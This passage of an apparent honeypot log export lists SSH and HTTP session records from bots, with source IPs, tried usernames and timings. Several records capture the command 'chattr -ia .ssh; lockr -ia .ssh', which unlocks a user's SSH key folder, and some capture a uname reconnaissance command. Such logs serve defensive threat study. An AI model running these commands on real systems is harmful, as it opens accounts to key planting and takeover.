  "src_ip": "103.4.145.50",
  "src_port": 48716,
  "username": "aswin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 840,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:59:57.516556+00:00",
  "ended_at": "2026-08-27T13:59:58.701587+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2151
 },
 {
  "id": "02d94f97-51a7-477a-b442-27cb5437ccb7",
  "name": "mossy-electric-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 38488,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 347,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:59:37.357704+00:00",
  "ended_at": "2026-08-27T13:59:39.371099+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "5551ed36-19bf-40f6-83a6-3a1321cdc354",
  "name": "seaward-reedy-jaguar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 50400,
  "username": "aswin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:59:24.914832+00:00",
  "ended_at": "2026-08-27T13:59:26.669020+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4c4524ea-451e-4b0e-bee9-a7dcfdd28c76",
  "name": "brisk-plucky-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 49586,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:59:21.644901+00:00",
  "ended_at": "2026-08-27T13:59:23.252793+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "18d20994-11a7-4ec7-8c55-0dfb4edf88db",
  "name": "blithe-flinty-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 57982,
  "username": "lthpc",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:59:11.397122+00:00",
  "ended_at": "2026-08-27T13:59:11.498428+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "8609fc80-6fe9-4fcd-bb46-ca684940b0ab",
  "name": "thrifty-granite-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 41808,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:59:08.383265+00:00",
  "ended_at": "2026-08-27T13:59:09.330568+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "12dc0a10-46ff-4925-b48a-86be989ea5ae",
  "name": "noble-subtle-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 39872,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:59:05.956026+00:00",
  "ended_at": "2026-08-27T13:59:07.727943+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "92f79bfd-6af6-423b-ae4a-edc12c4026b0",
  "name": "barren-salty-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 49358,
  "username": "oracle",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 376,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:58:11.390937+00:00",
  "ended_at": "2026-08-27T13:58:13.191461+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2121
 },
 {
  "id": "0c54333f-71e9-44e8-ab7d-a8d2058fe802",
  "name": "forlorn-prairie-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 52786,
  "username": "abcd",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 831,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:58:04.604391+00:00",
  "ended_at": "2026-08-27T13:58:06.394056+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2135
 },
 {
  "id": "bfa3910a-3236-4650-a43e-6ccab7ac1232",
  "name": "lawful-golden-vicuna",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 53446,
  "username": "oracle",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:57:41.380643+00:00",
  "ended_at": "2026-08-27T13:57:42.939001+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0b779c4b-54b8-4876-b259-593f6e87d486",
  "name": "genial-clever-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 50894,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:57:38.926539+00:00",
  "ended_at": "2026-08-27T13:57:40.719410+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cfcd1478-f18f-4aa6-baa1-c10e0f8ca125",
  "name": "vernal-umber-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 54520,
  "username": "abcd",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:57:32.245232+00:00",
  "ended_at": "2026-08-27T13:57:33.213408+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3b5aa55a-b75b-47fb-9090-0a5ea1a7d743",
  "name": "restless-hazy-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 53736,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:57:29.146700+00:00",
  "ended_at": "2026-08-27T13:57:30.416045+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8cb3b0fa-51f7-4c83-b350-c42fa84f4ada",
  "name": "alpine-weathered-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 36360,
  "username": "myuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 364,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:56:43.301357+00:00",
  "ended_at": "2026-08-27T13:56:44.588020+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2098
 },
 {
  "id": "d7d0ad8f-0bf6-4928-9ecc-e7d9ef924844",
  "name": "hazel-slender-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 56854,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 831,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:56:20.487122+00:00",
  "ended_at": "2026-08-27T13:56:22.536239+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "2210d80b-ab2c-4997-b0ea-9b6bf2c2c0ca",
  "name": "hidden-solemn-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 40764,
  "username": "myuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:56:14.307109+00:00",
  "ended_at": "2026-08-27T13:56:15.606510+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b571d2d6-a28e-4242-a7d1-b99906a07a1a",
  "name": "twilight-honest-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 38354,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:56:10.644453+00:00",
  "ended_at": "2026-08-27T13:56:12.605858+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9037b35c-6f2d-48c3-b718-9ee4ea34da5c",
  "name": "nimble-languid-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 58526,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:55:45.934133+00:00",
  "ended_at": "2026-08-27T13:55:47.290342+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a5c784b4-1d46-4985-b0c4-5aa47eacb53e",
  "name": "vernal-civil-opossum",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 57684,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:55:42.923758+00:00",
  "ended_at": "2026-08-27T13:55:44.274279+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f256eb79-b45a-4193-ae7f-fa3780be2a8a",
  "name": "fierce-amiable-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 36262,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:55:41.998113+00:00",
  "ended_at": "2026-08-27T13:55:42.103801+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "bd28fa80-f266-4e39-ad73-4ddea68a43ff",
  "name": "lively-burly-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 50760,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 480,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:55:13.593247+00:00",
  "ended_at": "2026-08-27T13:55:15.678836+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "e0c99e99-f25b-41ac-9f98-ea2229ad105c",
  "name": "distant-gnarled-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 53340,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:54:44.096849+00:00",
  "ended_at": "2026-08-27T13:54:45.600530+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9ded0add-fdae-4c60-80a5-f49f1fd7eaef",
  "name": "oaken-mighty-bushbaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 52066,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:54:42.518330+00:00",
  "ended_at": "2026-08-27T13:54:43.413924+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "289fedf4-e58f-44be-a953-c770c571fd79",
  "name": "arctic-granite-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 60932,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 833,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:54:33.403866+00:00",
  "ended_at": "2026-08-27T13:54:35.119495+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2129
 },
 {
  "id": "9ae9b79c-5732-4116-be59-4558eeded964",
  "name": "murky-plush-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 34438,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:54:01.337044+00:00",
  "ended_at": "2026-08-27T13:54:02.389341+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "45b2ee1b-63b6-4ee0-bdb8-348faeb79741",
  "name": "seaward-blunt-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 33634,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:53:58.312939+00:00",
  "ended_at": "2026-08-27T13:53:59.683762+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b8066e45-449f-459c-84fe-f63d50fc71c0",
  "name": "daring-dewy-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 37456,
  "username": "eva",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 350,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:53:37.878606+00:00",
  "ended_at": "2026-08-27T13:53:39.794676+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2075
 },
 {
  "id": "42c56893-6fe3-4c34-a279-cb026fd96ce3",
  "name": "balmy-loyal-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 41478,
  "username": "eva",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:53:20.343933+00:00",
  "ended_at": "2026-08-27T13:53:22.014341+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "61078aa0-8ce6-42ad-a348-22f7a992978d",
  "name": "gnarled-russet-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 39244,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:53:17.465506+00:00",
  "ended_at": "2026-08-27T13:53:19.430620+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ec9aca9c-fda7-4988-bfcf-99df46f96d42",
  "name": "autumn-western-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "153.75.82.158",
  "src_port": 54936,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:53:03.208412+00:00",
  "ended_at": "2026-08-27T13:53:04.638212+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "417dfc62-0fd9-43c9-a4f8-92cd41f9e472",
  "name": "brisk-wry-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 36774,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 839,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:52:51.857775+00:00",
  "ended_at": "2026-08-27T13:52:54.106539+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2161
 },
 {
  "id": "f405d14f-93e3-4094-aae4-44c257433406",
  "name": "orderly-solar-serval",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 54308,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:52:50.934494+00:00",
  "ended_at": "2026-08-27T13:53:25.615473+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90c1146b-0652-44ba-8acc-5f52a11f13c9",
  "name": "misty-humble-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 38510,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:52:17.782566+00:00",
  "ended_at": "2026-08-27T13:52:19.280128+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b239f01c-66cc-41cc-b57b-2956cb41f9de",
  "name": "quartz-jolly-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 49030,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:52:15.254825+00:00",
  "ended_at": "2026-08-27T13:52:15.355518+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "3b779912-05a9-47bd-839d-c739eb8ab6a5",
  "name": "wooded-curious-ocelot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 37700,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:52:14.861196+00:00",
  "ended_at": "2026-08-27T13:52:16.112657+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d35905db-dc88-46cb-bf64-12db1386a69a",
  "name": "loyal-jaunty-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 54154,
  "username": "terraria",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 343,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:52:14.024949+00:00",
  "ended_at": "2026-08-27T13:52:14.976452+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2077
 },
 {
  "id": "e68626b6-8810-48f2-a774-431c54c27500",
  "name": "plucky-meadow-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 58494,
  "username": "terraria",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:51:58.385104+00:00",
  "ended_at": "2026-08-27T13:51:59.094494+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "14283c8e-555b-48a4-9e89-0a401239e17e",
  "name": "dutiful-hazel-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 56014,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:51:55.583671+00:00",
  "ended_at": "2026-08-27T13:51:57.278137+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "87887e45-396e-43c6-8732-65879d98cf17",
  "name": "murky-quaint-fossa",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "160.72.123.50",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:51:53.200774+00:00",
  "ended_at": "2026-08-27T14:07:13.797428+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a0dbc482-9ba1-4646-81ac-60b5bd6fa747",
  "name": "sturdy-airy-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 52511,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:51:03.539172+00:00",
  "ended_at": "2026-08-27T13:51:07.705531+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4e0ea59e-fb0d-4c7f-b6f3-6e1706d64a1e",
  "name": "plush-fickle-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 40842,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 836,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:50:56.424213+00:00",
  "ended_at": "2026-08-27T13:50:58.096000+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "a5957bdd-571b-48c9-9fab-60f795a25324",
  "name": "fickle-dappled-opossum",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 55213,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:50:47.855274+00:00",
  "ended_at": "2026-08-27T13:51:23.268784+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f0be092e-d297-4f15-9891-9e6de13a7865",
  "name": "foggy-northern-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 42792,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:50:33.706117+00:00",
  "ended_at": "2026-08-27T13:50:35.003118+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ac000417-c480-4e21-a9ca-fd81bba46837",
  "name": "lanky-idle-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 41930,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:50:30.517608+00:00",
  "ended_at": "2026-08-27T13:50:32.034997+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "237b36a7-699b-4aec-8fc5-2e313151be27",
  "name": "plucky-velvet-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 42894,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:50:27.419511+00:00",
  "ended_at": "2026-08-27T13:50:29.404123+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3203c129-2ce1-405d-97ca-304ea8303e3e",
  "name": "muted-placid-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 54642,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:50:06.812376+00:00",
  "ended_at": "2026-08-27T13:50:38.005610+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "512689b9-0866-4622-8b74-f092570cdfcd",
  "name": "faded-nimble-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 60362,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 339,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:49:19.683670+00:00",
  "ended_at": "2026-08-27T13:49:21.107205+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "0a096a81-70b7-4de7-9ece-55164067846e",
  "name": "pristine-ashen-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 44912,
  "username": "user10",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 830,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:49:09.457236+00:00",
  "ended_at": "2026-08-27T13:49:11.898519+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2082
 },
 {
  "id": "5a2ebe85-1245-44a2-9098-d2a7b933437d",
  "name": "graceful-painted-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 38722,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:49:08.017663+00:00",
  "ended_at": "2026-08-27T13:49:09.308502+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ea818616-d2a8-4cd7-901a-7305a3d3161f",
  "name": "tidal-fickle-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 37178,
